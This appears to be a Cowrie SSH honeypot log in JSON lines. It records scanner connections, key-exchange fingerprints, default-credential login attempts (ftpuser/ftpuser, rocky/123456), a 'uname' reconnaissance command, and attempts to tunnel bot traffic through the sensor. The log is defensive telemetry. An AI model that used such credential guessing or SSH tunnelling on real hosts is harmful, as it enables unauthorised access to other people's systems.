{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:39.519524Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.083923Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.299573Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.302807Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.389040Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.393760Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.689641Z","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.724504Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Mobile/17A844 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cG4oTUFyJmRDeVFtYmVCeA%3D%3D8Zno1jfL9rwjY6fo3ONhKjPdB9afPaJh8doOqrieE%2FF1syUlZ530kqb%2Bm1HxP%2F2AQidyF%2FWIPsDEMayc3mCcsrsonJ%2F2F5nJFWkhCByH%2F4q2D6%2Br6b4tVchCZ8maiDNdPrIUevfWT7nwx37%2Fpw8YaNwx5IbPK428m8EQPgHmhI1NY5zLjEEgpAhar6h4%2Bu13DCUtsaSmFUmQ6FEvff0lST9zhwOS0E2YbpVvQBgNm6vRN9QEItpqoEumSD3%2FGbqJV0YzeWTynJZYVmrb20d%2B3geSdqtbcKCNiGCSHuD3dgKA2LtuxPhAAjj1ON%2BiU9b6QNwfi71CbMt7s4Oh9Hpra7FNETpdx4Eo%2BWHkL%2BvxjTV1GpWpt0ojtUo62wd4L6NflK0QeSGWI8xzQoUdpWdF0AJW%2BUcIaSGTwsBk6KHzVo9lJwSRivzkevjmGuYmcHCA5WKLF6DwDe1Aoli6JLhhhm3vVyWOXxWlpxa5%2FIZuOfqBvk2P2UfzM294Q25Rp6Pk93Cq%2BgMqZ0Kyg3zcd5jbKriGkcr18VPJ0wbU8JBaG1o9LltP6LzJymeCVsRR%2BnGXgPz7%2BvONJNH5uroLXXRfl2ibv7oAXQc0%2FfAymF6EyqIur5C85pkCLryZ6nNFuakmjrQ5TEVytrY7dv5fiSTtbY23gStzXanGR3yBXmVzZqT%2Fo%2BpviExCQ25zVcTiTLi11ZnO7A6y6%2B%2BM9Gdn3WYzLXrBFKvBhhmBsyZ9C25%2BkBK5RbR9joREeJb%2BJbDZczWKdvwjy%2F8RJokjVIclWXWcWdKHYVESvtHBqmOCnQc%2BokfZeXouq3p6ul8Nzrtq6pYy7IRWZeaeP3dB98xH8kyqODsXS06In4UoXKWwVmzy0YR8TGzYq%2BOIpoTfzKDNW%2BimvUMf%2BsjeOVXZddJt9vH6Fs17g2JUslaIlqIkaFisiooCOq%2BjVJkqL0%2BeH42A95BzfjoqsjMkYdyfHAEVwgq2c6zN4mHAt6QNaSw3Q1hQPODjHGyjjLG4MXXGL6YGkA5fHei5c%2Fw%2Fmk95nQo6xUh3aUrhsXsWI1%2BHjF6Ahkh9ykgNNlQQi%2FQYarhmnzatHn3l'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Mobile/17A844 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cG4oTUFyJmRDeVFtYmVCeA%3D%3D8Zno1jfL9rwjY6fo3ONhKjPdB9afPaJh8doOqrieE%2FF1syUlZ530kqb%2Bm1HxP%2F2AQidyF%2FWIPsDEMayc3mCcsrsonJ%2F2F5nJFWkhCByH%2F4q2D6%2Br6b4tVchCZ8maiDNdPrIUevfWT7nwx37%2Fpw8YaNwx5IbPK428m8EQPgHmhI1NY5zLjEEgpAhar6h4%2Bu13DCUtsaSmFUmQ6FEvff0lST9zhwOS0E2YbpVvQBgNm6vRN9QEItpqoEumSD3%2FGbqJV0YzeWTynJZYVmrb20d%2B3geSdqtbcKCNiGCSHuD3dgKA2LtuxPhAAjj1ON%2BiU9b6QNwfi71CbMt7s4Oh9Hpra7FNETpdx4Eo%2BWHkL%2BvxjTV1GpWpt0ojtUo62wd4L6NflK0QeSGWI8xzQoUdpWdF0AJW%2BUcIaSGTwsBk6KHzVo9lJwSRivzkevjmGuYmcHCA5WKLF6DwDe1Aoli6JLhhhm3vVyWOXxWlpxa5%2FIZuOfqBvk2P2UfzM294Q25Rp6Pk93Cq%2BgMqZ0Kyg3zcd5jbKriGkcr18VPJ0wbU8JBaG1o9LltP6LzJymeCVsRR%2BnGXgPz7%2BvONJNH5uroLXXRfl2ibv7oAXQc0%2FfAymF6EyqIur5C85pkCLryZ6nNFuakmjrQ5TEVytrY7dv5fiSTtbY23gStzXanGR3yBXmVzZqT%2Fo%2BpviExCQ25zVcTiTLi11ZnO7A6y6%2B%2BM9Gdn3WYzLXrBFKvBhhmBsyZ9C25%2BkBK5RbR9joREeJb%2BJbDZczWKdvwjy%2F8RJokjVIclWXWcWdKHYVESvtHBqmOCnQc%2BokfZeXouq3p6ul8Nzrtq6pYy7IRWZeaeP3dB98xH8kyqODsXS06In4UoXKWwVmzy0YR8TGzYq%2BOIpoTfzKDNW%2BimvUMf%2BsjeOVXZddJt9vH6Fs17g2JUslaIlqIkaFisiooCOq%2BjVJkqL0%2BeH42A95BzfjoqsjMkYdyfHAEVwgq2c6zN4mHAt6QNaSw3Q1hQPODjHGyjjLG4MXXGL6YGkA5fHei5c%2Fw%2Fmk95nQo6xUh3aUrhsXsWI1%2BHjF6Ahkh9ykgNNlQQi%2FQYarhmnzatHn3l'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:40.727720Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:41.034275Z","src_ip":"91.92.40.36","session":"5983d3a81e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:41.037367Z","src_ip":"91.92.40.36","session":"5983d3a81e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":36444,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6284823bd6a","protocol":"ssh","message":"New connection: 160.187.180.146:36444 (159.203.135.109:22) [session: a6284823bd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.149063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.152975Z","src_ip":"160.187.180.146","session":"a6284823bd6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.357270Z","src_ip":"160.187.180.146","session":"a6284823bd6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33640,"dst_ip":"10.17.0.5","dst_port":22,"session":"63dbb5bb65b9","protocol":"ssh","message":"New connection: 45.153.34.195:33640 (10.17.0.5:22) [session: 63dbb5bb65b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.503604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.516313Z","src_ip":"45.153.34.195","session":"63dbb5bb65b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:42.624469Z","src_ip":"45.153.34.195","session":"63dbb5bb65b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:43.165475Z","src_ip":"45.153.34.195","session":"63dbb5bb65b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"123456","message":"login attempt [rocky/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:43.213413Z","src_ip":"160.187.180.146","session":"a6284823bd6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.249846Z","src_ip":"45.153.34.195","session":"63dbb5bb65b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.421286Z","src_ip":"160.187.180.146","session":"a6284823bd6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.560646Z","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.596885Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\x02\\xae\\x12f\\x91\\xc2V\\t\\xadg\\x04m.\\x8eE\\x1a\\xa5\\xd2P\\xb4\\x0fK\\x11\\x17\\xfa\\x8c\\xf4e\\xe1\\x12x \\xab\\xb5K\\x8c\\xa9\"\\xcb_\\xf2\\x83f},\\xcb\\xed\\xdc\\x0b\\xe6\\xd0\\xe3\\x82\\xd6:\\xd6\\x1f@\\xc6A(\\x98\\xaa6\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x91\\x03J\\xa8\\x11\\\\\\x8fq\\xdc\\xf0\\xe1\\x9b\\xd9\\xcb\\xe8\\xb3\\xf4b\\xf9YI0\\xce\\xee\\xd3{\\x10BV4J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\x02\\xae\\x12f\\x91\\xc2V\\t\\xadg\\x04m.\\x8eE\\x1a\\xa5\\xd2P\\xb4\\x0fK\\x11\\x17\\xfa\\x8c\\xf4e\\xe1\\x12x \\xab\\xb5K\\x8c\\xa9\"\\xcb_\\xf2\\x83f},\\xcb\\xed\\xdc\\x0b\\xe6\\xd0\\xe3\\x82\\xd6:\\xd6\\x1f@\\xc6A(\\x98\\xaa6\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x91\\x03J\\xa8\\x11\\\\\\x8fq\\xdc\\xf0\\xe1\\x9b\\xd9\\xcb\\xe8\\xb3\\xf4b\\xf9YI0\\xce\\xee\\xd3{\\x10BV4J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.602863Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.766124Z","session":"ed859443ea38","protocol":"ssh"}
